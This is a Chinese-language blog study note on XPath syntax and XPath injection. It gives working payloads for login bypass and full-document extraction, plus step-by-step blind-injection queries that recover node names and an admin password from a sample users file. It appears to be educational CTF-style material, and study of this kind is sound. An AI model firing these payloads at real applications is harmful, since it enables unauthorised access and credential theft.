[NOTE] XPath及其注入

[NOTE] XPath及其注入

XPath

XPath是一门在XML文档中查找信息的语言

这里学习基本知识及相关语法

一个加载XML文件,并使用XPath解析和查找元素的例子:

<!DOCTYPE html>
<html>
<body>
<script>
function loadXMLDoc(dname) {
	if (window.XMLHttpRequest) {
        // 加载XML文档-步骤一
        xhttp=new XMLHttpRequest();
    } else {
        xhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    // 加载XML文档-步骤二
	xhttp.open("GET",dname,false);
	xhttp.send("");
	return xhttp.responseXML;
}

xml=loadXMLDoc("books.xml");
// XPath语法的字符串
path="/bookstore/book/title"
// code for Mozilla, Firefox, Opera, etc.
if (document.implementation && document.implementation.createDocument) {
    // 在evaluate()中使用XPath
    var nodes=xml.evaluate(path, xml, null, XPathResult.ANY_TYPE, null);
    var result=nodes.iterateNext();
    
    while (result) {
        document.write(result.childNodes[0].nodeValue);
        document.write("<br>");
        result=nodes.iterateNext();
    }
}
</script>
</body>
</html>

网页的样子:

Everyday Italian
Harry Potter
XQuery Kick Start
Learning XML

XPath注入

参考:

指利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息

XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据

攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据

XPath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制
XML中没有访问控制或者用户认证,如果用户有权限使用XPath查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档

注入出现的位置常是cookie,headers,request parameters/input等


一个例子

假设有以下XPath查询语句:
//users/user[loginID/text()='{id}' and password/text()='{pwd}']
要求传入正确的id以及pwd才能返回正确的数据
那么就很像是SQL注入,两个的payload:' or '1'='1,变成:
//users/user[loginID/text()='' or '1'='1' and password/text()='' or '1'='1']
就饶过登陆检验,成功获取所有user数据

另外上面第二个参考资料那里有一些CTF赛题
看看能够更好理解

再一个例子

假设有以下XPath查询语句:
$query="user/username[@name='".$user."']";
那么payload:']|//*|ss[',变成:
$query="user/username[@name='']|//*|ss['']";
关键是,使用|符进行并列选择,其中前后两个都是为了闭合
中间那个//*列出文档所有元素


XPath盲注

主要利用到了XPath中的一些字符串操作函数和运算符

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qEpZyXuv-1639138862187)(D:\快乐之源\HACK学习\Chapter0[NOTE] DSVW靶场练习笔记.assets\1853528-20191110203831875-261157258.png)]

估计也和SQL盲注类似,正常的页面回显仅有两种,只能区分查询是否正确
于是就要结合各种逻辑判断语句来进行逐级、逐节点以及逐字符等的猜解

除上表所列之外,下面补充一点常用函数(参考这里,打死不看官方文档系列):

  • name(node):返回参数节点的节点名称
  • number(arg):返回参数的数值(类似于ascii())
  • abs(num):返回数值的绝对值
  • string(arg):返回参数的字符串值
  • concat(str, str, …):返回字符串的拼接
  • string-join((str, str, …), sep):返回以sep为分隔符拼接的字符串
  • substring(str, start, len=-1):返回分割后的字符串
  • string-length(str):返回参数字符串的长度
  • translate(str1, str2, str3):返回str1中str2替换成str3后的字符串
  • escape-uri(strURI, true()/false()):返回URL编码后的URL
  • substring-before(str1, str2):返回str2在str1中出现之前的子字符串
  • substring-after(str1, str2):类似上一个
  • replace(str,pattern,replace):返回替换后的字符串
  • count(item):返回节点数目
  • position():返回当前正在被处理的节点的index位置
    //book[position()=3]
  • last():返回在被处理的节点列表中的项目数目
    //book[last()]

一个盲注例子

<?xml version="1.0" encoding="utf-8"?>
<users>
	<user id="0">
		<username>admin</username>
		<name>admin</name>
		<surname>admin</surname>
		<password>7en8aiDoh!</password>
	</user>
	<user id="1">
		<username>dricci</username>
		<name>dian</name>
		<surname>ricci</surname>
		<password>12345</password>
	</user>
	<user id="2">
		<username>amason</username>
		<name>anthony</name>
		<surname>mason</surname>
		<password>gandalf</password>
	</user>
	<user id="3">
		<username>svargas</username>
		<name>sandra</name>
		<surname>vargas</surname>
		<password>phest1945</password>
	</user>
</users>

下面盲注猜解建议配合使用二分法

猜解当前节点的元素个数:
/?name=admin' and count(.//*)=4 and '1'='1

猜解第一个元素名称的长度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1

猜解第一个元素名称的第一个字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1

猜解第一个元素名称:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1

猜解第四个元素名称:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1

猜解第四个元素的值的长度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1

猜解第四个元素的值的第一个字符(字符之间可以直接用大小与号比较):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1

猜解第四个元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1


以上盲注都是进入到与’admin’有关的特定范围
是使用.//来选取当前节点
当然也可以使用/来从根元素选取节点

再注一下加深印象

只有一个根节点:
/?name=admin' and count(/*)=1 and '1'='1

根节点名称长度为5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1

根节点名称第一个字符为‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1

根节点名称为“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1

根节点下面有4个节点:
/?name=admin' and count(/users/*)=4 and '1'='1

/users下面第一个节点的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1

第一个user节点下面有4个节点:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1

如果某一结点下面没有子节点,那么这样子将会直接返回节点值:
/users/user[position()=1]/*[position()=1]匹配admin

因此叶子节点应该这样提取节点名称:
name(/users/user[position()=1]/*[position()=1])

所以第一个user节点的第四个(叶子)节点长度为8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1

第一个user节点的第四个(叶子)节点名称的第一个字符为‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1

第一个user节点的第四个(叶子)节点名称为“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1

/users/user[position()=1]/*[position()=4]这个匹配到password的值

下略BLABLABLA

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值